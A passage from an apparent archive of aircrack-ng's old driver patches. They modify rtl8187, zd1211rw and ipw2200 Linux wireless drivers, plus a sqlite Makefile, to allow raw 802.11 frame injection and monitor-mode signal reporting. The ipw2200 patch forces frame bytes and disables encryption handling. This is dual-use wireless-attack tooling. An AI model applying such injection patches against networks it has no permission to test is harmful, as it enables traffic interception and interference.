if (encrypt) skb_reserve(skb_frag, crypt->ops->extra_prefix_len); - + frag_hdr = (struct ieee80211_hdr *)skb_put(skb_frag, hdr_len); memcpy(frag_hdr, &header, hdr_len); - + /* If this is not the last fragment, then add the MOREFRAGS * bit to the frame control */ if (i != nr_frags - 1) { frag_hdr->frame_ctl = cpu_to_le16( fc | IEEE80211_FCTL_MOREFRAGS); bytes = bytes_per_frag; - + } else { /* The last fragment takes the remaining length */ bytes = bytes_last_frag; } - + frag_hdr->seq_ctl = cpu_to_le16(ieee->seq_ctrl<<4 | i); - - + + /* Put a SNAP header on the first fragment */ if (i == 0) { - ieee80211_put_snap( + ieee80211_put_snap_rtl7( skb_put(skb_frag, SNAP_SIZE + sizeof(u16)), ether_type); bytes -= SNAP_SIZE + sizeof(u16); } - + memcpy(skb_put(skb_frag, bytes), skb->data, bytes); - + /* Advance the SKB... */ skb_pull(skb, bytes); - + /* Encryption routine will move the header forward in order * to insert the IV between the header and the payload */ if (encrypt) - ieee80211_encrypt_fragment(ieee, skb_frag, hdr_len); + ieee80211_encrypt_fragment_rtl7(ieee, skb_frag, hdr_len); if (ieee->config & (CFG_IEEE80211_COMPUTE_FCS | CFG_IEEE80211_RESERVE_FCS)) skb_put(skb_frag, 4); } - // Advance sequence number in data frame. + // Advance sequence number in data frame. if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; //--- }else{ - if (unlikely(skb->len < sizeof(struct ieee80211_hdr_3addr))) { +// if (unlikely(skb->len < sizeof(struct ieee80211_hdr_3addr))) { + if (unlikely(skb->len < 14)) { printk(KERN_WARNING "%s: skb too small (%d).\n", ieee->dev->name, skb->len); goto success; } - - txb = ieee80211_alloc_txb(1, skb->len, GFP_ATOMIC); + + txb = ieee80211_alloc_txb_rtl7(1, skb->len, GFP_ATOMIC); if(!txb){ printk(KERN_WARNING "%s: Could not allocate TXB\n", ieee->dev->name); goto failed; } - + txb->encrypted = 0; txb->payload_size = skb->len; memcpy(skb_put(txb->fragments[0],skb->len), skb->data, skb->len); - } + } success: spin_unlock_irqrestore(&ieee->lock, flags); dev_kfree_skb_any(skb); if (txb) { if (ieee->softmac_features & IEEE_SOFTMAC_TX_QUEUE){ - ieee80211_softmac_xmit(txb, ieee); + ieee80211_softmac_xmit_rtl7(txb, ieee); }else{ if ((*ieee->hard_start_xmit)(txb, dev) == 0) { stats->tx_packets++; stats->tx_bytes += txb->payload_size; return 0; } - ieee80211_txb_free(txb); + ieee80211_txb_free_rtl7(txb); } - - + + } return 0; @@ -504,4 +510,4 @@ } -EXPORT_SYMBOL(ieee80211_txb_free); +EXPORT_SYMBOL(ieee80211_txb_free_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_wx.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_wx.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_wx.c 2006-06-06 04:57:56.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_wx.c 2008-01-30 17:38:11.000000000 +0100 @@ -40,7 +40,7 @@ }; #define MAX_CUSTOM_LEN 64 -static inline char *ipw2100_translate_scan(struct ieee80211_device *ieee, +static inline char *ipw2100_translate_scan_rtl7(struct ieee80211_device *ieee, char *start, char *stop, struct ieee80211_network *network) { @@ -207,7 +207,7 @@ return start; } -int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -220,13 +220,14 @@ IEEE80211_DEBUG_WX("Getting scan\n"); down(&ieee->wx_sem); + printk("GOT WX GET SCAN WX_SEM LOCK"); spin_lock_irqsave(&ieee->lock, flags); list_for_each_entry(network, &ieee->network_list, list) { i++; if (ieee->scan_age == 0 || time_after(network->last_scanned + ieee->scan_age, jiffies)) - ev = ipw2100_translate_scan(ieee, ev, stop, network); + ev = ipw2100_translate_scan_rtl7(ieee, ev, stop, network); else IEEE80211_DEBUG_SCAN( "Not showing network '%s (" @@ -247,7 +248,7 @@ return 0; } -int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *keybuf) { @@ -259,6 +260,9 @@ int i, key, key_provided, len; struct ieee80211_crypt_data **crypt; + if (erq->flags & IW_ENCODE_RESTRICTED) + return -EINVAL; + IEEE80211_DEBUG_WX("SET_ENCODE\n"); key = erq->flags & IW_ENCODE_INDEX; @@ -281,7 +285,7 @@ if (key_provided && *crypt) { IEEE80211_DEBUG_WX("Disabling encryption on key %d.\n", key); - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } else IEEE80211_DEBUG_WX("Disabling encryption.\n"); @@ -291,7 +295,7 @@ if (ieee->crypt[i] != NULL) { if (key_provided) break; - ieee80211_crypt_delayed_deinit( + ieee80211_crypt_delayed_deinit_rtl7( ieee, &ieee->crypt[i]); } } @@ -314,7 +318,7 @@ strcmp((*crypt)->ops->name, "WEP") != 0) { /* changing to use WEP; deinit previously used algorithm * on this key */ - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } if (*crypt == NULL) { @@ -326,10 +330,10 @@ if (new_crypt == NULL) return -ENOMEM; memset(new_crypt, 0, sizeof(struct ieee80211_crypt_data)); - new_crypt->ops = ieee80211_get_crypto_ops("WEP"); + new_crypt->ops = ieee80211_get_crypto_ops_rtl7("WEP"); if (!new_crypt->ops) { - request_module("ieee80211_crypt_wep"); - new_crypt->ops = ieee80211_get_crypto_ops("WEP"); + request_module("ieee80211_crypt_wep_rtl"); + new_crypt->ops = ieee80211_get_crypto_ops_rtl7("WEP"); } if (new_crypt->ops && try_module_get(new_crypt->ops->owner)) @@ -340,7 +344,7 @@ new_crypt = NULL; printk(KERN_WARNING "%s: could not initialize WEP: " - "load module ieee80211_crypt_wep\n", + "load module ieee80211_crypt_wep_rtl\n", dev->name); return -EOPNOTSUPP; } @@ -418,7 +422,7 @@ return 0; } -int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *keybuf) { @@ -430,7 +434,7 @@ if(ieee->iw_mode == IW_MODE_MONITOR) return -1; - + key = erq->flags & IW_ENCODE_INDEX; if (key) { if (key > WEP_KEYS) @@ -470,6 +474,6 @@ } -EXPORT_SYMBOL(ieee80211_wx_get_scan); -EXPORT_SYMBOL(ieee80211_wx_set_encode); -EXPORT_SYMBOL(ieee80211_wx_get_encode); +EXPORT_SYMBOL(ieee80211_wx_get_scan_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_encode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_encode_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/Makefile rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/Makefile --- rtl8187_linux_26.1010.0622.2006/ieee80211/Makefile 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/Makefile 2008-01-30 17:38:11.000000000 +0100 @@ -17,6 +17,7 @@ KVER := $(shell uname -r) KSRC := /lib/modules/$(KVER)/build INSTALL_PREFIX := +PWD = $(shell pwd) all: modules diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/Modules.symvers rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/Modules.symvers --- rtl8187_linux_26.1010.0622.2006/ieee80211/Modules.symvers 2006-06-06 04:57:56.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/Modules.symvers 1970-01-01 01:00:00.000000000 +0100 @@ -1,43 +0,0 @@ -0x232e7944 ieee80211_wlan_frequencies /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xaeae102f free_ieee80211_rtl /usr/rtl8187_linux_2.6_05312006/ieee80211/ieee80211-rtl -0x279e265f ieee80211_crypt_deinit_handler net/ieee80211/ieee80211_crypt -0xc2411d91 ieee80211_stop_queue /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6ece20e1 ieee80211_wx_get_name_rtl /usr/rtl8187_linux_2.6_05312006/ieee80211/ieee80211-rtl -0x5d3847ff ieee80211_rx_rtl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x18612027 ieee80211_wx_get_scan_rtl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xa0e03ce1 ieee80211_wx_get_name /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xee25f349 ieee80211_wx_get_mode /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x86013c3d ieee80211_wx_set_mode /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x04493cc0 ieee80211_wx_get_rate /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6c6df3b4 ieee80211_wx_set_rate /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x82caec02 ieee80211_crypt_deinit_entries net/ieee80211/ieee80211_crypt -0x347945bf ieee80211_wx_get_power /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6379d455 ieee80211_wx_set_power /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xae62ed59 ieee80211_wx_set_scan /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6621e172 ieee80211_wx_set_freq /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x0e052e06 ieee80211_wx_get_freq /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x283f9f5d ieee80211_unregister_crypto_ops net/ieee80211/ieee80211_crypt -0x9da79aac ieee80211_is_shortslot /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x666032dc ieee80211_wx_get_wap /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x9f1cbe0e ieee80211_wx_set_wap /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x73d1d341 ieee80211_wx_set_rawtx /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x2c714184 ieee80211_is_54g /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6892d598 ieee80211_wpa_supplicant_ioctl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xc062f1f5 ieee80211_ps_tx_ack /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x55534906 ieee80211_get_beacon /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xe2679638 ieee80211_crypt_delayed_deinit net/ieee80211/ieee80211_crypt -0x3a0456bc free_ieee80211 net/ieee80211/ieee80211 -0x7e1ef2c8 ieee80211_wake_queue /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xc1b81e9f ieee80211_register_crypto_ops net/ieee80211/ieee80211_crypt -0x3f795a39 alloc_ieee80211 net/ieee80211/ieee80211 -0x89803c23 ieee80211_get_crypto_ops net/ieee80211/ieee80211_crypt -0xc6caf2a4 ieee80211_txb_free net/ieee80211/ieee80211 -0x49c1422c ieee80211_rx_mgt net/ieee80211/ieee80211 -0xbf2b4ebd alloc_ieee80211_rtl /usr/rtl8187_linux_2.6_05312006/ieee80211/ieee80211-rtl -0xd155f7b8 ieee80211_softmac_stop_protocol /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x9ce2dcde ieee80211_softmac_start_protocol /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x00d74bba ieee80211_wx_get_encode_rtl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x92b5d996 ieee80211_wx_set_encode_rtl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x2ac9bf95 ieee80211_wx_set_essid /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x7dc92e7f ieee80211_wx_get_essid /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xd04740ca ieee80211_reset_queue /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl diff -Naur rtl8187_linux_26.1010.0622.2006/Makefile rtl8187_linux_26.1010.0622.2006_rawtx/Makefile --- rtl8187_linux_26.1010.0622.2006/Makefile 1970-01-01 01:00:00.000000000 +0100 +++ rtl8187_linux_26.1010.0622.2006_rawtx/Makefile 2008-01-30 17:39:29.000000000 +0100 @@ -0,0 +1,38 @@ +prefix = /lib/modules/$(shell uname -r)/kernel/drivers/net/wireless +r8187dir = $(prefix)/rtl8187 +ieeedir = $(prefix)/rtl_ieee80211 + +default: all + +all: + -rm -f ieee80211/Module.symvers 2>/dev/null + -rm -f ieee80211/Modules.symvers 2>/dev/null + $(MAKE) -C ieee80211 $(@) + -chmod +x symvers + -./symvers + $(MAKE) -C beta-8187 $(@) + +install: + install -d $(ieeedir) + install -d $(r8187dir) + install -m 644 ./ieee80211/*.ko $(ieeedir) + install -m 644 ./beta-8187/*.ko $(r8187dir) + -depmod -ae + +uninstall: + -rm -f $(ieeedir)/ieee80211-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt_ccmp-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt_tkip-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt_wep-rtl.ko + -rm -f $(r8187dir)/r8187.ko + -rm -fr $(ieeedir) + -rm -fr $(r8187dir) + -depmod -ae + +clean: + $(MAKE) -C ieee80211 $(@) + $(MAKE) -C beta-8187 $(@) + +distclean: clean + diff -Naur rtl8187_linux_26.1010.0622.2006/symvers rtl8187_linux_26.1010.0622.2006_rawtx/symvers --- rtl8187_linux_26.1010.0622.2006/symvers 1970-01-01 01:00:00.000000000 +0100 +++ rtl8187_linux_26.1010.0622.2006_rawtx/symvers 2008-01-30 17:38:11.000000000 +0100 @@ -0,0 +1,25 @@ +#!/bin/sh + +cd beta-8187 + +if [ -e Module.symvers ] +then + rm Module.symvers +fi + +if [ -e Modules.symvers ] +then + rm Modules.symvers +fi + +if [ -e ../ieee80211/Module.symvers ] +then + ln -sf ../ieee80211/Module.symvers ./ +fi + +if [ -e ../ieee80211/Modules.symvers ] +then + ln -sf ../ieee80211/Modules.symvers ./ +fi + +cd .. diff -Naur rtl8187_linux_26.1010.0622.2006/wlan0rmv rtl8187_linux_26.1010.0622.2006_rawtx/wlan0rmv --- rtl8187_linux_26.1010.0622.2006/wlan0rmv 2006-09-05 07:21:10.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/wlan0rmv 2008-01-30 17:38:11.000000000 +0100 @@ -1,5 +1,9 @@ #!/bin/bash -rmmod r8180 -rmmod ieee80211_r8180 -rmmod ieee80211_crypt_r8180 +rmmod rtl8187 2>/dev/null +rmmod r8187 2>/dev/null +rmmod ieee80211_rtl 2>/dev/null +rmmod ieee80211_crypt_ccmp_rtl 2>/dev/null +rmmod ieee80211_crypt_tkip_rtl 2>/dev/null +rmmod ieee80211_crypt_wep_rtl 2>/dev/null +rmmod ieee80211_crypt_rtl 2>/dev/null aircrack-ng-1.2-rc4/patches/old/sqlite-3.6.13-lib_cygwin.diff0000644000000000000000000000143311322374733022141 0ustar rootroot--- Makefile.ori 2009-04-14 18:50:49.953125000 +0100 +++ Makefile 2009-04-14 18:52:45.562500000 +0100 @@ -776,14 +776,10 @@ $(INSTALL) -d $(DESTDIR)$(libdir) $(LTINSTALL) libsqlite3.la $(DESTDIR)$(libdir) -install: sqlite3$(BEXE) lib_install sqlite3.h sqlite3.pc ${HAVE_TCL:1=tcl_install} - $(INSTALL) -d $(DESTDIR)$(bindir) - $(LTINSTALL) sqlite3$(BEXE) $(DESTDIR)$(bindir) +install: lib_install sqlite3.h $(INSTALL) -d $(DESTDIR)$(includedir) $(INSTALL) -m 0644 sqlite3.h $(DESTDIR)$(includedir) $(INSTALL) -m 0644 $(TOP)/src/sqlite3ext.h $(DESTDIR)$(includedir) - $(INSTALL) -d $(DESTDIR)$(pkgconfigdir) - $(INSTALL) -m 0644 sqlite3.pc $(DESTDIR)$(pkgconfigdir) pkgIndex.tcl: echo 'package ifneeded sqlite3 $(RELEASE) [list load $(TCLLIBDIR)/libtclsqlite3.so sqlite3]' > $@ aircrack-ng-1.2-rc4/patches/old/zd1211rw_malformed.patch0000644000000000000000000000330610761053203021467 0ustar rootroot--- linux-source-2.6.17-orig/drivers/net/wireless/zd1211rw/zd_mac.c 2006-10-01 18:42:47.000000000 +0200 +++ linux-source-2.6.17-rawtx/drivers/net/wireless/zd1211rw/zd_mac.c 2007-04-01 22:35:50.000000000 +0200 @@ -716,6 +716,8 @@ u8 rt_rate; u16 rt_channel; u16 rt_chbitmask; + u8 rt_antsignal; + u8 rt_antnoise; } __attribute__((packed)); static void fill_rt_header(void *buffer, struct zd_mac *mac, @@ -729,7 +731,9 @@ hdr->rt_hdr.it_len = cpu_to_le16(sizeof(struct zd_rt_hdr)); hdr->rt_hdr.it_present = cpu_to_le32((1 << IEEE80211_RADIOTAP_FLAGS) | (1 << IEEE80211_RADIOTAP_CHANNEL) | - (1 << IEEE80211_RADIOTAP_RATE)); + (1 << IEEE80211_RADIOTAP_RATE) | + (1 << IEEE80211_RADIOTAP_DBM_ANTSIGNAL) | + (1 << IEEE80211_RADIOTAP_DBM_ANTNOISE)); hdr->rt_flags = 0; if (status->decryption_type & (ZD_RX_WEP64|ZD_RX_WEP128|ZD_RX_WEP256)) @@ -743,6 +747,12 @@ hdr->rt_chbitmask = cpu_to_le16(IEEE80211_CHAN_2GHZ | ((status->frame_status & ZD_RX_FRAME_MODULATION_MASK) == ZD_RX_OFDM ? IEEE80211_CHAN_OFDM : IEEE80211_CHAN_CCK)); + + hdr->rt_antsignal = status->signal_strength; + if(status->frame_status & ZD_RX_OFDM) + hdr->rt_antnoise = status->signal_strength - status->signal_quality_ofdm; + else + hdr->rt_antnoise = status->signal_strength - status->signal_quality_cck; } /* Returns 1 if the data packet is for us and 0 otherwise. */ @@ -834,7 +844,8 @@ const struct rx_status *status; *pstatus = status = zd_tail(buffer, length, sizeof(struct rx_status)); - if (status->frame_status & ZD_RX_ERROR) { + if (status->frame_status & ZD_RX_ERROR + || status->frame_status & ~0x21) { /* FIXME: update? */ return -EINVAL; } aircrack-ng-1.2-rc4/patches/old/ipw2200-1.1.3-inject.patch0000644000000000000000000000321110761053203021154 0ustar rootroot--- ipw2200-1.1.3/ipw2200.c 2006-07-17 21:43:57.000000000 +0000 +++ ipw2200-1.1.3inject/ipw2200inject.c 2006-07-18 00:29:15.000000000 +0000 @@ -10645,9 +10645,19 @@ static int ipw_tx_skb(struct ipw_priv *priv, struct ieee80211_txb *txb, int pri) { + int i = 0; + int kk; +/* for (kk=0; kk<36; kk++) + printk("%02X ", txb->fragments[0]->data[kk]); + printk("\n"); +*/ + skb_pull(txb->fragments[0], 18+6+6); +/* for (kk=0; kk<36; kk++) + printk("%02X ", txb->fragments[0]->data[kk]); + printk("\n"); + */ struct ieee80211_hdr_3addrqos *hdr = (struct ieee80211_hdr_3addrqos *) txb->fragments[0]->data; - int i = 0; struct tfd_frame *tfd; #ifdef CONFIG_IPW2200_QOS int tx_id = ipw_get_tx_queue_number(priv, pri); @@ -10660,6 +10670,28 @@ u16 remaining_bytes; int fc; +// memset(hdr->addr1,0x80,18); + memset(hdr, 0x08,1); +/* memset(((void*)hdr)+1,0x00,1); + memset(((void*)hdr)+2,0x04,1); + memset(((void*)hdr)+3,0x04,1); + memset(((void*)hdr)+4,0x00,1); + memset(((void*)hdr)+5,0x0f,1); + */ +// printk("tx_skb\n"); +char * kkk=hdr; +for(i=4; i<0x40; i++) { +// kkk[i]=0xff; +} +/* for (kk=0; kk<36; kk++) + printk("%02X ", txb->fragments[0]->data[kk]); + printk("\n"); + + printk("WENT\n"); + */ + i=0; + + hdr_len = ieee80211_get_hdrlen(le16_to_cpu(hdr->frame_ctl)); switch (priv->ieee->iw_mode) { case IW_MODE_ADHOC: @@ -10711,7 +10743,7 @@ if (likely(unicast)) tfd->u.data.tx_flags |= DCT_FLAG_ACK_REQD; - if (txb->encrypted && !priv->ieee->host_encrypt) { + if (0 && txb->encrypted && !priv->ieee->host_encrypt) { switch (priv->ieee->sec.level) { case SEC_LEVEL_3: tfd->u.data.tfd.tfd_24.mchdr.frame_ctl |= aircrack-ng-1.2-rc4/patches/old/rtl8187_2.6.21v4.patch0000644000000000000000000120133210761053203020357 0ustar rootrootdiff -Naur rtl8187_orig/beta-8187/ieee80211_crypt.h rtl8187_rawtx/beta-8187/ieee80211_crypt.h --- rtl8187_orig/beta-8187/ieee80211_crypt.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/ieee80211_crypt.h 2007-06-21 23:44:38.000000000 +0200 @@ -75,12 +75,12 @@ atomic_t refcnt; }; -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops); -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops); -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name); -void ieee80211_crypt_deinit_entries(struct ieee80211_device *, int); -void ieee80211_crypt_deinit_handler(unsigned long); -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name); +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *, int); +void ieee80211_crypt_deinit_handler_rtl7(unsigned long); +void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt); #endif diff -Naur rtl8187_orig/beta-8187/ieee80211.h rtl8187_rawtx/beta-8187/ieee80211.h --- rtl8187_orig/beta-8187/ieee80211.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/ieee80211.h 2007-06-21 23:44:38.000000000 +0200 @@ -156,6 +156,22 @@ struct list_head list; }; +#define LWNG_CAP_DID_BASE (4 | (1 << 6)) /* section 4, group 1 */ +/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header + * (from linux-wlan-ng) */ +struct linux_wlan_ng_val { + u32 did; + u16 status, len; + u32 data; +} __attribute__ ((packed)); + +struct linux_wlan_ng_prism_hdr { + u32 msgcode, msglen; + char devname[16]; + struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal, + noise, rate, istx, frmlen; +} __attribute__ ((packed)); + struct ieee80211_hdr { u16 frame_ctl; u16 duration_id; @@ -840,14 +856,14 @@ #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,11)) -extern inline int is_multicast_ether_addr(const u8 *addr) +extern inline int is_multicast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] != 0xff) && (0x01 & addr[0])); } #endif #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,13)) -extern inline int is_broadcast_ether_addr(const u8 *addr) +extern inline int is_broadcast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] == 0xff) && (addr[1] == 0xff) && (addr[2] == 0xff) && \ (addr[3] == 0xff) && (addr[4] == 0xff) && (addr[5] == 0xff)); @@ -1015,10 +1031,16 @@ struct timer_list beacon_timer; struct work_struct associate_complete_wq; + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) + struct delayed_work associate_retry_wq; + struct delayed_work softmac_scan_wq; +#else struct work_struct associate_retry_wq; + struct work_struct softmac_scan_wq; +#endif struct work_struct start_ibss_wq; struct work_struct associate_procedure_wq; - struct work_struct softmac_scan_wq; struct work_struct wx_sync_scan_wq; struct workqueue_struct *wq; @@ -1154,12 +1176,12 @@ -extern inline void *ieee80211_priv(struct net_device *dev) +extern inline void *ieee80211_priv_rtl7(struct net_device *dev) { return ((struct ieee80211_device *)netdev_priv(dev))->priv; } -extern inline int ieee80211_is_empty_essid(const char *essid, int essid_len) +extern inline int ieee80211_is_empty_essid_rtl7(const char *essid, int essid_len) { /* Single white space is for Linksys APs */ if (essid_len == 1 && essid[0] == ' ') @@ -1175,7 +1197,7 @@ return 1; } -extern inline int ieee80211_is_valid_mode(struct ieee80211_device *ieee, int mode) +extern inline int ieee80211_is_valid_mode_rtl7(struct ieee80211_device *ieee, int mode) { /* * It is possible for both access points and our device to support @@ -1201,7 +1223,7 @@ return 0; } -extern inline int ieee80211_get_hdrlen(u16 fc) +extern inline int ieee80211_get_hdrlen_rtl7(u16 fc) { int hdrlen = 24; @@ -1229,140 +1251,144 @@ /* ieee80211.c */ -extern void free_ieee80211(struct net_device *dev); -extern struct net_device *alloc_ieee80211(int sizeof_priv); +extern void free_ieee80211_rtl7(struct net_device *dev); +extern struct net_device *alloc_ieee80211_rtl7(int sizeof_priv); -extern int ieee80211_set_encryption(struct ieee80211_device *ieee); +extern int ieee80211_set_encryption_rtl7(struct ieee80211_device *ieee); /* ieee80211_tx.c */ -extern int ieee80211_encrypt_fragment( +extern int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len); -extern int ieee80211_xmit(struct sk_buff *skb, +extern int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev); -extern void ieee80211_txb_free(struct ieee80211_txb *); +extern void ieee80211_txb_free_rtl7(struct ieee80211_txb *); /* ieee80211_rx.c */ -extern int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +extern int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats); -extern void ieee80211_rx_mgt(struct ieee80211_device *ieee, +extern void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats); /* ieee80211_wx.c */ -extern int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); /* ieee80211_softmac.c */ -extern short ieee80211_is_54g(struct ieee80211_network net); -extern short ieee80211_is_shortslot(struct ieee80211_network net); -extern int ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +extern short ieee80211_is_54g_rtl7(struct ieee80211_network net); +extern short ieee80211_is_shortslot_rtl7(struct ieee80211_network net); +extern int ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype); -extern void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net); +extern void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net); -extern void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee); -extern void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_master_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_ibss(struct ieee80211_device *ieee); -extern void ieee80211_softmac_init(struct ieee80211_device *ieee); -extern void ieee80211_softmac_free(struct ieee80211_device *ieee); -extern void ieee80211_associate_abort(struct ieee80211_device *ieee); -extern void ieee80211_disassociate(struct ieee80211_device *ieee); -extern void ieee80211_stop_scan(struct ieee80211_device *ieee); -extern void ieee80211_start_scan_syncro(struct ieee80211_device *ieee); -extern void ieee80211_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_reset_queue(struct ieee80211_device *ieee); -extern void ieee80211_wake_queue(struct ieee80211_device *ieee); -extern void ieee80211_stop_queue(struct ieee80211_device *ieee); -extern struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee); -extern void ieee80211_start_send_beacons(struct ieee80211_device *ieee); -extern void ieee80211_stop_send_beacons(struct ieee80211_device *ieee); -extern int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p); -extern void notify_wx_assoc_event(struct ieee80211_device *ieee); -extern void ieee80211_ps_tx_ack(struct 